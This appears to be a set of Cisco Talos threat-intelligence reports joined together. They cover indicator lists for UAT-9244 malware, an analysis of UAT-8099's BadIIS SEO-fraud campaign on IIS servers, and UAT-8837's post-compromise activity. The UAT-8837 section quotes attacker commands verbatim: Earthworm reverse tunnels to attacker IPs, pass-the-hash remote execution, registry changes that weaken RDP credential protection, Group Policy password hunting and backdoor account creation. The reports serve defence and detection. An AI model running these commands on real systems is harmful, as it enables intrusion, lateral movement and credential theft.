075b20a21ea6a0d2201a12a049f332ecc61348fc0ad3cfee038c6ad6aa44e744
1f5635a512a923e98a90cdc1b2fb988a2da78706e07e419dae9e1a54dd4d682b

Windows driver

2d2ca7d21310b14f5f5641bbf4a9ff4c3e566b1fbbd370034c6844cedc8f0538

UAT-9244 C2 IPs used by TernDoor

154[.]205[.]154[.]82:443
207[.]148[.]121[.]95:443
207[.]148[.]120[.]52:443
212[.]11[.]64[.]105

Suspected UAT-9244 IPs

149[.]28[.]25[.]33
154[.]205[.]154[.]194
154[.]205[.]154[.]65
154[.]205[.]154[.]70
154[.]223[.]21[.]130
154[.]223[.]21[.]194
158[.]247[.]238[.]240
216[.]238[.]112[.]222
216[.]238[.]123[.]242
216[.]238[.]94[.]37
38[.]54[.]125[.]134
38[.]60[.]199[.]34
45[.]32[.]106[.]94
45[.]77[.]34[.]194
45[.]77[.]41[.]141
47[.]76[.]100[.]159
64[.]190[.]113[.]170
64[.]95[.]10[.]253

PeerTime installation script

ebcb2691b7c92cdf2b2ff5e2d753abeea8cb325c16596cd839e6bd147f80e38a
00735a8a50d2856c11150ef1e29c05acebce7ad3edad00e37c7f043aacb46330
74fbc8360d4c95d64d7acaa4d18943dce2d41f91d080b0b5e435d8bce52861a5
babc81fc9c998e9dc4ab545f0e112e34d2641e1333bc81aaa131abd061a5b604
e34c9159e6e78c59518a14c5b96bddfee094b684f99d4f69b13371284a014e87
2c3f2261b00ea45e25eb4e9de2b7ff8e41f311c0b3d986461f834022c08b3b99
3fcced9332301ff70b20c98c9434c858400013d659afa6bb5149cffb0206357d
a313f76fca50fff1bcd6f2c6cbc1268985f8c0a3a05fe7f43c4fc0ac3aff84dc
03eac9eb7f4b4bc494ef0496ee23cabbf38f883896838ed813741d8f64ac9fde
17652d7bb5fe0454023db4fc7f608df0dbe6af237be31258e16ba52f0e895e26
74d1a678bdc4bb9f33321e94e3bd1bc1740472ed734231fc46af720072ecb77e

PeerTime instrumentor binary

c9fc2af30f769d856b88b3051f19fdb663b3e0a0916279df9bbcba93c6a110c9

PeerTime malware

34d64b3cd9430e85edefcb883973a086dd5de9917e05fabec89b1f4ab9627e91
1cedf01dd4b7e50181d0e781825c66957b862941395d77c8bd7705114f319c80
bfc35f12d00fa4b40c5fbce9e37d704e12a52262709bcbdf09f97890bc40cad5
f3e899789b56429f483e5096e1f473335024f1f763e2d428132338e30352b89e
6ec070457d1f6f239cb02c5e1576a3660cca98f3a07eec6e4e107f698d7fe555
15d937803f90c2b9e277ff94d3e98ff30015ecc7f4623a158e3c98861e5cb278
7b70cd956f082b1029d02b4cb7608893f2de7fa9c500d7d7febdd0f745ac3cb6
d78b3c6df8f3756a7e310cf7435fdba201dd03ec9f97420a0db683489a01a7c9
3fcadde4b414a18b2fed56c1ec59d97977123615fbbf411a1c78425445a6e71c
3d9fbfc2c056eac857ba54e5ed134aa45a4b8322ee9f9353ba32e5b2ca71b0e3
c9a42423ef08bd7f183915780d39530eba5e4e25968c51965ff8bb3026965a28
38eeaa4eaad72feb3f8e6993565fcc548d8e7bb93642590f00fa24aacc0e2862
56bead2933e91366e4a0d5761daf5b238a7f2c22e597664ef67b3ecae20ab326
6a2d23cc8746a83e9a3b974788fce0e414706b8e75ff390426dd7e10b19967b3
9a7225c17e4bad3ffe7f080530d36f4f8aca5c116b913caa91ab9b0cee85638e
870e791af14caaf395c56028176a9c3f4c1ff0318ef3112d57ecd3d4a1be2ef9

PeerTime remote locations

185[.]196[.]10[.]247
xtibh[.]com
xcit76[.]com

PeerTime C2s

bloopencil[.]net
185[.]196[.]10[.]38

BruteEntry installation script

1fcdd5a417db31e5e07d32cecfa69e53f0dce95b7130ad9c03b92249f001801d

BruteEntry instrumentor binary

66ce42258062e902bd7f9e90ad5453a901cfc424f0ea497c4d14f063f3acd329
d5eb979cb8a72706bfa591fa57d4ebf7d13cecdc9377b0192375e2f570f796df

BruteEntry agent

66adeedfb739774fcc09aa7426c8fad29f8047ab4caee8040d07c0e84d011611
66bdce93de3b02cf9cdadad18ca1504ac83e379a752d51f60deae6dcbafe4e31

BruteEntry infrastructure

212[.]11[.]64[.]105
185[.]196[.]10[.]247

Additional malicious scripts

023467e236a95d5f0e62e26445d430d749c59312f66cf136e6e2c2d526c46ba1
f8066833e47814793d8c58743622b051070dac09cb010c323970c81b59260f84
06b23d84fd7afd525dfd7860ebd561dcdd72ccbeb51981d5d9a75acf068d0a2a

• Cisco Talos has identified a new campaign by UAT-8099, active from late 2025 to early 2026, that is targeting vulnerable Internet Information Services (IIS) servers across Asia with a specific focus on victims in Thailand and Vietnam. 
• Analysis confirms significant operational overlaps between this activity and the WEBJACK campaign. This includes critical indicators of compromise including malware hashes, command and control (C2), and victimology. 
• UAT-8099 uses web shells and PowerShell to execute scripts and deploy the GotoHTTP tool, granting the threat actor remote access to vulnerable IIS servers. 
• New variants of BadIIS now hardcode the target region directly into the malware, offering customized features for each specific variant. These customizations include exclusive file extensions, corresponding dynamic page extensions, directory indexing configurations, and the ability to load HTML templates from local files. 
• A Linux Executable and Linkable Format (ELF) variant of BadIIS was uploaded to VirusTotal on Oct. 1, 2025. The malware includes proxy mode, injector mode, and search engine optimization (SEO) fraud mode, similar to what Talos described in the previous UAT-8099 blog.

---

UAT-8099 new activity 

Cisco Talos observed new activity from UAT-8099 spanning from August 2025 through early 2026. Analysis of Cisco's file census and DNS traffic indicates that compromised IIS servers are located across India, Pakistan, Thailand, Vietnam, and Japan, with a distinct concentration of attacks in Thailand and Vietnam. Furthermore, this activity significantly overlaps with the WEBJACK campaign; we have identified high-confidence correlations across malware hashes, C2 infrastructure, victimology, and the promoted gambling sites.

While the threat actor continues to rely on web shells, SoftEther VPN, and EasyTier to control compromised IIS servers, their operational strategy has evolved significantly. First, this latest campaign marks a shift in their black hat SEO tactics toward a more specific regional focus. Second, the actor increasingly leverages red team utilities and legitimate tools to evade detection and maintain long-term persistence.

Infection chain 

Upon gaining initial access, the threat actor executes standard reconnaissance commands, such as whoami and tasklist, to gather system information. Following this, they deploy VPN tools and establish persistence by creating a hidden user account named “admin$”. UAT-8099 has further expanded their arsenal with the several new tools below: 

• Sharp4RemoveLog: A .NET utility designed to clear all Windows event logs, effectively erasing forensic traces 
• CnCrypt Protect: A Chinese-language file-protection utility. In this intrusion activity, it is abused to hide malicious files and facilitate dynamic-link library (DLL) redirection. This tool has been linked to previous IIS attacks since 2024, including SEO fraud campaigns targeting Vietnam and China, as well as the WEBJACK campaign. 
• OpenArk64: An open source anti-rootkit. The threat actor uses its kernel-level access to terminate security product processes that are otherwise protected from deletion. 
• GotoHTTP: An online remote control tool. The threat actor uses VBscript to deploy this tool and let them remote control the compromised server. Talos provides more detail in the following section.  

Subsequently, the threat actor deploys two archive files containing the latest version of the BadIIS malware. Notably, the file names of these archives are correlated with the specific geographic regions targeted by the BadIIS malware; for example, “VN” denotes Vietnam and “TH” denotes Thailand.

C:/Users/admin$/Desktop/TH.zip 
C:/Users/admin$/Desktop/VN.zip 

 Following the publication of our previous research, Cisco Security products have widely flagged the “admin$” account name. In response, if this name is blocked, the threat actor  creates a new user account named “mysql$” to maintain access and sustain the BadIIS SEO fraud service.

Using the newly created account, the threat actor redeploys the updated BadIIS malware to the compromised machines. Notably, this marks a strategic shift from broad, global targeting to specific regional focus. This is evidencedby the directory naming conventions for the malware and its scripts, which use identifiers such as “VN” for Vietnam and “newth” for Thailand.

C:/Users/mssql$/Desktop/VN/fasthttp.dll  
C:/Users/mssql$/Desktop/VN/cgihttp.dll  
C:/Users/mssql$/Desktop/VN/install.bat  
C:/Users/mssql$/Desktop/VN/uninstall.bat  
C:/Users/mssql$/Desktop/newth/iis32.dll  
C:/Users/mssql$/Desktop/newth/iis64.dll  
C:/Users/mssql$/Desktop/newth/install.bat  
C:/Users/mssql$/Desktop/newth/uninstall.bat  

Additionally, Talos observed the UAT-8099 threat actor attempting to create alternative hidden accounts to maintain persistence. The specific commands used to create these accounts and execute subsequent actions are detailed in Figures 3a, 3b, and 3c.

Abuse of the GotoHTTP remote control tool 

Talos has observed several instances where UAT-8099 uses a web shell to execute PowerShell commands, which subsequently download and run a malicious VBScript. This script is designed to deploy the GotoHTTP tool and exfiltrate the “gotohttp.ini” configuration file to the C2 server. This enables the threat actor to obtain the connection ID and password necessary to remotely control the infected server.

The malicious script contains multiple functions, each annotated by the threat actor using Simplified Chinese and Pinyin comments. We provide a detailed analysis of these functions below.

The code begins by initializing key parameters, including the download and upload URLs, file paths, and the expected file size of “gotohttp.exe”. Notably, this initialization section is marked with the comment “dingyichangliang” (定义常量), which translates to “Define Constants.”

The first functional block is marked with the comment “xiazaiwenjian” (下载文件), which translates to “Download File.” In this section, the code utilizes an HTTP GET request to download the GotoHTTP tool, saving it to the public folder as “xixixi.exe”.

The second and third function blocks are marked with the comments “jianchawenjian” (检查文件) and “jianchawenjian” (检查文件大小), translating to “Check File” and “Check File Size," respectively. In these sections, the code verifies the integrity of the downloaded GotoHTTP tool by ensuring the file size exceeds the threshold defined in the previous block. If the validation fails, the script sends an error message to the C2 server, reporting either“xiazaishibai” (下载失败 - Download Failed) or “daxiaobudui” (大小不对 - Incorrect Size).

The fourth and fifth function blocks are marked with the comments “zhixingwenjian” (执行文件) and “jianchajieguo” (检查结果), translating to “Execute File” and “Check Result,” respectively. In these sections, the code executes the GotoHTTP tool in a hidden window without waiting for the process to terminate. Notably, the code uses Chr(34) to represent quotation marks, as indicated by the comments. This technique is employed to avoid syntax errors caused by improper escaping; using Chr(34) allows the insertion of the double-quote character without breaking the code structure. 

Following a five-second sleep delay, the script attempts to upload the “gotohttp.ini” file to the C2 server. If the file is missing, it sends the error message “gotohttp.ini bucunzai” (gotohttp.ini 不存在 - gotohttp.ini does not exist).

The last function blocks are marked with the comment “qingli" (清理), translating to “Clean.”. This section will clean up all the COM objects.

Two new BadIIS malware to target specific region 

Since September 2025, Talos has observed two new variants of BadIIS appearing in the wild, both utilized for SEO fraud. While other vendors have observed these malware, this section provides a deep analysis based on our reverse engineering and infection chain assessment. We have determined that UAT-8099 customizes these new cluster BadIIS to target specific regions. The first cluster, which we have named BadIIS IISHijack, derives its name from the original malware file name. The second cluster, BadIIS asdSearchEngine, is named after the PDB strings observed within the sample.

E:\原生DLL\SearchEngine\Release\SearchEngine.pdb
C:\Users\qwe\source\repos\Dll1dasd\x64\Release\Dll1dasd.pdb 

BadIIS IISHijack primarily targets victims in Vietnam. This variant explicitly embeds the country code within its source code and creates a specific directory named when the malware drops into the victim’s machine.

BadIIS asdSearchEngine malware focuses on targets in Thailand or users with Thai language preferences. By using the CHttpModule::OnBeginRequest handler, the malware hijacks incoming HTTP traffic and analyzes headers such as “User-Agent” and “Referer” to determine its next move. A key addition to this version is the use of the “Accept-Language” header to verify the target region.

When an infected IIS server receives a request, the malware first filters the file path. If the path contains an extension on its exclusion list, it ignores the request to preserve static resources. Next, it checks the “User-Agent” to see if the visitor is a search engine crawler (e.g., Googlebot, sogu, 360spider, or Baiduspider). If confirmed, the crawler is redirected to an SEO fraud site. However, if the visitor is a standard user and the malware verifies that the “Accept-Language” field indicates Thai, it injects HTML containing a malicious JavaScript redirect into the response.  

We have identified three distinct variants within this BadIIS cluster. While they share the core workflow described above, each possesses unique features, which are detailed in the following section. Moreover, to evade detection, some specific variants employ XOR encryption (key 0x7A) to obfuscate their C2 configuration and malicious HTML content.

Exclusive multiple extensions variant 

While many variants employ extensive exclusion lists, the specific extensions targeted can differ between them. For the purpose of this analysis, we will use a representative example to illustrate the general functionality and strategy. Before executing its malicious payload, the new BadIIS variant inspects the URL path for specific file extensions. This filtering mechanism serves three strategic objectives:  

• The extensions (.png, .jpg, .css, .js, .woff, .ttf, .eot, and .otf) are critical for a website's appearance, layout, and interactive features. If the BadIIS were to indiscriminately redirect or tamper with requests for these essential assets, the website would quickly appear broken to users and administrators. 
• The BadIIS likely uses filtering based on document type extensions (.pdf, .txt, .xml, .json, .doc, .docx, .xls, and .xlsx) and web-related files extensions (.manifest, .appcache, .webmanifest, .robots, and .sitemap) to focus its malicious injections (e.g., hidden links, keywords, malicious scripts) or redirect specifically on HTML pages or other content types that contribute to SEO rankings or user interaction, while leaving static assets untouched. 
• The archive extensions (.zip, .rar, .7z, .tar, .gz) are filtered so that the BadIIS can conserve resources.

Dynamic page extension/directory index variant 

Another variant of BadIIS adds a validation function that checks if a requested path corresponds to a dynamic page extension or a directory index. This determines whether the request is routed to the malware's dynamic processing flow.

We assess that the threat actor, UAT-8099, implemented this feature to prioritize SEO content targeting while maintaining stealth. Since SEO poisoning relies on injecting JavaScript links into pages that search engines crawl, the malware focuses on dynamic pages (e.g., default.aspx, index.php) where these injections are most effective. Furthermore, by restricting hooks to other specific file types, the malware avoids processing incompatible static files, thereby preventing the generation of suspicious server error logs. 

Load HTML templates variant 

The last variant of BadIIS contains a sophisticated HTML template generation system that dynamically creates web content. It has a content generator that can load templates from disk or use embedded fallbacks, then performs extensive placeholder replacement with random data, dates, and URL-derived content.

If there are no files found in the host, the BadIIS generates a response using an embedded HTML template, populating a date placeholder with the local system time. Notably, the variable names within this HTML template are written in Chinese Pinyin. Below, Talos provides detailed translations of these variables. Analyzing these names allows us to accurately determine how the dynamic template leverages keywords to facilitate SEO fraud.

Head section 

• <title>{biaoti}</title>: The browser tab title; substituted from {biaoti} (“标题”, title). 
• <meta name="description" content="{shoudongmiaoshu}">: SEO description; {shoudongmiaoshu} (“手动描述”, manual description). 
• <meta name="keywords" content="{guanjianci}">: SEO keywords; {guanjianci} (“关键词”, keywords).  

Body section 

• <h1>Welcome to {biaoti}</h1>: Main heading, repeats the title. 
• <p>{shoudongmiaoshu}</p>: A paragraph with the manual description. 
• <p>Current URL: {gudinglianjie}</p>: Shows the fixed/current link; {gudinglianjie} (“固定链接”, permalink). 
• <p>Date: {riqi}</p>: The date; {riqi} (“日期”, date). 
• <p>Contact: {suijirenming1}</p>: A contact name; {suijirenming1} (“随机人名”, random person name). 
• <div>{suijiduanluo1}</div>: A block of content; {suijiduanluo1} (“随机段落”, random paragraph).

The keywords that UAT-8099 intends to promote are directly embedded within the BadIIS malware. BadIIS utilizes these keywords to populate page titles and generate HTML content, thereby facilitating SEO fraud. The screenshot below captures a representative sample of these keywords; however, the complete list embedded within the malware is significantly more extensive.

Linux BadIIS variant found on VirusTotal 

Talos also identified an ELF variant of BadIIS submitted to VirusTotal that exhibits functionality identical to the samples described in Talos' previous blog post that includes the proxy, injector, and SEO fraud modes. Furthermore, the malware's hardcoded C2 servers share the same domain we previously documented. Based on these indicators, we assess with high confidence that this malware is attributable to UAT-8099. 

Below is the targeted URL path pattern, which is identical to the pattern in our previous UAT-8099 post.

news|cash|bet|gambling|betting|casino|fishing|deposit|bonus|sitemap|app|ios|video|games|xoso|dabong|nohu

While the behavior and URL path signature match our previous report, there is a key difference between this ELF BadIIS variant and the older BadIIS. Unlike the previous version, which targeted numerous search engines, this variant targets only three. The target search engines are shown as follows.

User-agent	Referer
Googlebot	google
Bingbot	bing
Yahoo!	yahoo

Coverage 

ClamAV detections are also available for this threat: 

• Win.Malware.Tedy-10059198-0  
• Win.Trojan.Crypter-10059205-0  
• Win.Trojan.BadIIS-10059191-0  
• Unix.Trojan.BadIIS-10059196-0  
• Win.Trojan.IISHijack-10059197-0  
• Win.Malware.Remoteadmin-10059206-0  
• Win.Packed.Zpack-10059207-0  
• Txt.Trojan.BadIIS-10059202-0 

The following Snort Rules (SIDs) detect and block this threat: 

• Snort2: 65712, 65713, 65710, 65711, 65708, 65709, 65707, 65706. 
• Snort3: 301378, 301377, 301376, 65707, 65706 

Indicators of compromise (IOCs) 

The IOCs for this threat are available at our GitHub repository here. 

• Cisco Talos is closely tracking UAT-8837, a threat actor we assess with medium confidence is a China-nexus advanced persistent threat (APT) actor based on overlaps in tactics, techniques, and procedures (TTPs) with those of other known China-nexus threat actors.
• Based on UAT-8837's TTPs and post-compromise activity Talos has observed across multiple intrusions, we assess with medium confidence that this actor is primarily tasked with obtaining initial access to high-value organizations.
• Although UAT-8837's targeting may appear sporadic, since at least 2025, the group has clearly focused on targets within critical Infrastructure sectors in North America.

After obtaining initial access — either by successful exploitation of vulnerable servers or by using compromised credentials — UAT-8837 predominantly deploys open-source tools to harvest sensitive information such as credentials, security configurations, and domain and Active Directory (AD) information to create multiple channels of access to their victims. The threat actor uses a combination of tools in their post-compromise hands-on-keyboard operations, including Earthworm, Sharphound, DWAgent, and Certipy. The TTPs, tooling, and remote infrastructure associated with UAT-8837 were also seen in the recent exploitation of CVE-2025-53690, a ViewState Deserialization zero-day vulnerability in SiteCore products, indicating that UAT-8837 may have access to zero-day exploits.

---

Post-compromise actions

UAT-8837 can exploit both n-day and zero-day vulnerabilities to gain access to target environments. Most recently, UAT-8837 exploited a ViewState Deserialization zero-day vulnerability in SiteCore products, CVE-2025-53690, to obtain initial access.

After UAT-8837 gains initial access, they begin conducting preliminary reconnaissance, leveraging the following commands:

ping google[.]com
tasklist /svc
netstat -aon -p TCP
whoami
quser
hostname
net user

The threat actor disables RestrictedAdmin for Remote Desktop Protocol (RDP) to obtain credentials for remoting into other devices:

REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

A shell console may subsequently be opened via “cmd.exe” to conduct hands-on keyboard activity on the compromised endpoint. Multiple artifacts are then downloaded to the following directories which were extensively used for staging artifacts:

C:\Users\<user>\Desktop\
C:\windows\temp\
C:\windows\public\music

UAT-8837 tool usage

UAT-8837 may use a variety of tooling throughout the course of an intrusion. This variation in tooling may be because many of these tools are detected and blocked by most security products such as Cisco Secure Endpoint (CSE) which often leads the threat actor to cycle through different variants of the tools to find versions that are not detected.

GoTokenTheft

The GoTokenTheft utility is a tool for stealing access tokens. Written in GoLang and deployed at C:\Users\<user>\Desktop\go.exe, it may be used to steal tokens to run commands with elevated privileges:

eee.ico REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

Earthworm

Earthworm is network tunneling tool that has extensively been used by Chinese-speaking threat actors in intrusions to expose internal endpoints to attacker-owned remote infrastructure. UAT-8837 deploys multiple versions of Earthworm to determine which are not detectable by endpoint protection products. The undetected version is then used to create a reverse tunnel to attacker-controlled servers, as seen in the commands below:

C:\Windows\Temp\v.ico -s rssocks -d 172[.]188[.]162[.]183 -e 1433
  
C:\users\public\videos\verr.ico -s rssocks -d 172.188.162.183 -e 443
  
C:\Windows\Temp\eir.ico  -p 8888 -t 172[.]188[.]162[.]183 -f 11112
  
cisos.ico -s rssocks -d 172[.]188[.]162[.]183 –e80
  
vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 443
  
vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 447
  
abc.ico -s rssocks -d 4[.]144[.]1[.]47 -e 448
  
C:\users\public\music\aa.exe -s rssocks -d 74[.]176[.]166[.]174 -e 443
  
C:\Users\public\Music\twd.exe -s rssocks -d 20[.]200[.]129[.]75 -e 443

DWAgent

UAT-8837 deploys DWAgent, a remote administration tool, to make it easier to access the compromised endpoint and drop additional malware to the system:

C:\Users\\Downloads\dwagent.exe
 
C:\Users\\AppData\Local\Temp\dwagent20250909101732\runtime\dwagent.exe -S -m installer

SharpHound

Per Talos’ observations, UAT-8837 downloads SharpHound with the intention to collect Active Directory information:

C:\Windows\Temp\SharpHound.exe

Impacket

UAT-8837 makes several attempts to download Impacket-based binaries to use in their operations:

C:\Windows\Temp\wec.ico

When Impacket is detected and blocked, Invoke-WMIExec is downloaded to run commands with elevated privileges:

C:\Windows\Temp\Invoke-WMIExec.ps1

GoExec

In one intrusion, after cycling through a number of tools, UAT-8837 deployed GoExec, a GoLang-based remote execution tool to execute commands on other connected remote endpoints within the victim’s network:

goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> -H <hash> -e 'cmd.exe' -a '/C hostname /all' -o-
 
C:\Windows\Temp\goe.exe wmi proc 10[.]xx[.]xx[.]xx \
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o 1.txt
 
g.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C ipconfig -o-
g.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o-

It is worth noting here that the usage of GoExec was likely an on-the-fly decision by the operator, necessitated by the constant detection and blocking of the threat actors tooling by CSE.

The threat actor also attempted to download and execute SharpWMI in the compromised environment, which was again detected by CSE:

C:\Windows\Temp\s.ico

Rubeus

Rubeus, a C# based toolset for Kerberos abuse may also be deployed:

• C:\Windows\Temp\r.ico
• C:\Windows\Temp\lo.txt

Certipy

UAT-8837 also deploys Certipy, a tool for AD discovery and abuse, to:

C:\Windows\Temp\Certipy.exe

Hands-on-keyboard activity

UAT-8837 may run a series of commands during the intrusion to obtain sensitive information, such as credentials from victim organizations:

findstr /S /l cpassword [\\]\policies\*.xml

 The system’s security configuration is also exported using secedit:

secedit /export /cfg C:\windows\temp\pol.txt

 Windows Local security policies extracted via secedit include password policies, user rights and audit settings. This information may be valuable to adversaries who seek to evaluate an endpoint's security posture including network security settings.

In one victim organization, UAT-8837 exfiltrated DLL-based shared libraries related to the victim’s products, raising the possibility that these libraries may be trojanized in the future. This creates opportunities for supply chain compromises and reverse engineering to find vulnerabilities in those products.

Domain reconnaissance

The net commands typically used to query domain groups and users are:

net group domain admins /domain

net localgroup administrators /domain

net group <name> /domain
 
net user <user> <password> /domain

net user <user> /domain

net accounts /domain

net user <user> /domain
 
nltest /DCLIST:<domain>

nslookup <subdomina>.<domain>

 The setspn command is used to list and query Service Principal Names (SPN) data from Active Directory:

setspn -L 

setspn -Q */*

Active Directory reconnaissance

UAT-8837 deploys a combination of tools to perform AD reconnaissance in the compromised environment. These tools include SharpHound and Certipy. The threat actor also uses the Windows-native tool “setspn” to query for AD data. However, UAT-8837 also brings their own living-off-the-land (LOTL) tooling. In one intrusion, the actor deployed dsget and dsquery to query for specific properties in the AD:

dsquery.exe user -limit 0 
  
dsquery.exe user -name <name>
  
dsget user -samid -display -email -upn
  
dsget.exe user -samid -display -email -upn
  
dsquery.exe user -samid <id> 
  
dsget.exe user -display -email -upn
  
dsquery.exe user -name admin
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -samid -display -email -upn
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -upn
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –memberof
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –disabled
  
dsquery * DC=prod,DC=<domain>,DC=com -filter (objectClass=user) -attr * -limit 0

Backdoored user accounts

The threat actor created user accounts to open up another channel of access to the compromised environment:

net user <user> <password> /add /domain

In another instance, UAT-8837 added an existing user account to local groups:

net user <user>
  
net localgroup <group> <user> /add

Coverage

The following ClamAV signature detects and blocks this threat:

• Win.Malware.Earthworm

The following Snort Rules (SIDs) detect and block this threat:

• Snort 2 – 61883, 61884, 63727, 63728
• Snort 3 – 300585, 63727, 63728

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

1b3856e5d8c6a4cec1c09a68e0f87a5319c1bd4c8726586fd3ea1b3434e22dfa – GoTokenTheft
451e03c6a783f90ec72e6eab744ebd11f2bdc66550d9a6e72c0ac48439d774cd - Earthworm
B3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b – Earthworm
Fab292c72ad41bae2f02ae5700c5a88b40a77f0a3d9cbdf639f52bc4f92bb0a6 – Earthworm
4f7518b2ee11162703245af6be38f5db50f92e65c303845ef13b12c0f1fc2883 - Earthworm
 
891246a7f6f7ba345f419404894323045e5725a2252c000d45603d6ddf697795 - GoTokenTheft
5090f311b37309767fb41fa9839d2770ab382326f38bab8c976b83ec727e6796 – SharpHound
6e8af5c507b605a16373e8453782bfd8a3ec3bd76f891e71a159d8c2ff2a5bb0 – Impacket
887817fbaf137955897d62302c5d6a46d6b36cb34775e4693e30e32609fb6744 – GoExec
4af156b3285b49485ef445393c26ca1bb5bfe7cdc59962c5c5725e3f3c574f7c - GoExec
1de72bb4f116e969faff90c1e915e70620b900e3117788119cffc644956a9183 – SharpWMI
51d6448e886521aaaaf929a50763156ceb99ede587c65de971700a5583d6a487 – Rubeus
2f295f0cedc37b0e1ea22de9d8cb461fa6f84ab0673fde995fd0468a485ddb59 – Rubeus
E27e6e8e97421593f1e8d66f280e894525e22b373248709beaf81dc6107fb88d – Certipy
 
B7ecd4ff75c0e3ed196e1f53d92274b1e94f17fa6c39616ce0435503906e66fb
42e3ad56799fbc8223fb8400f07313559299496bb80582a6cbae29cb376d96c3
6d20371b88891a1db842d23085a0253e36cf3bf0691aee2ae15a66fc79f3803d
4e8304040055d3bffcb3551873da45f66577723d1a975416a49afa5aec4eb295
BDF7B28DF19B6B634C05882D9F1DB73F63252F855120ED3E4DA4E26F2C6190E8
1c5174672bf2ccedb6a426336ca79fd326e61cd26dd9ae684b8ffd0b5a70c700
d0beb6184ea4402c39e257d5912c7ace3607e908e76127014e3ec02866b6d70c
194ca1b09902ceaaa8a7e66234be9dc8a12572832836361f49f1074eae861794
74e68b4e07d72c9b8e0bc8cbfd57f980b4a2cd9d27c37bb097ca4fb2108706e3
Ced14e8beb20a345a0d6f90041d8517c04dbc113feff3bc6e933968d6b846e31
8bf233f608ea508cd6bf51fb23053d97aa970b8d11269d60ce5c6e113e8e787a
5391f69425217fa8394ebac0d952c5a3d1f0f5ac4f20587978cd894fdb6199cd
8bc008a621c5e3068129916770d24ee1d7d48079ee42797f86d3530ca90e305c
De9c13b1abeab11626a8edc1385df358d549a65e8cc7a69baca84cd825acc8e7
4d47445328bfd4db12227af9b57daab4228244d1325cba572588de237f7b2e98
 
74[.]176[.]166[.]174
20[.]200[.]129[.]75
172[.]188[.]162[.]183
4[.]144[.]1[.]47
103[.]235[.]46[.]102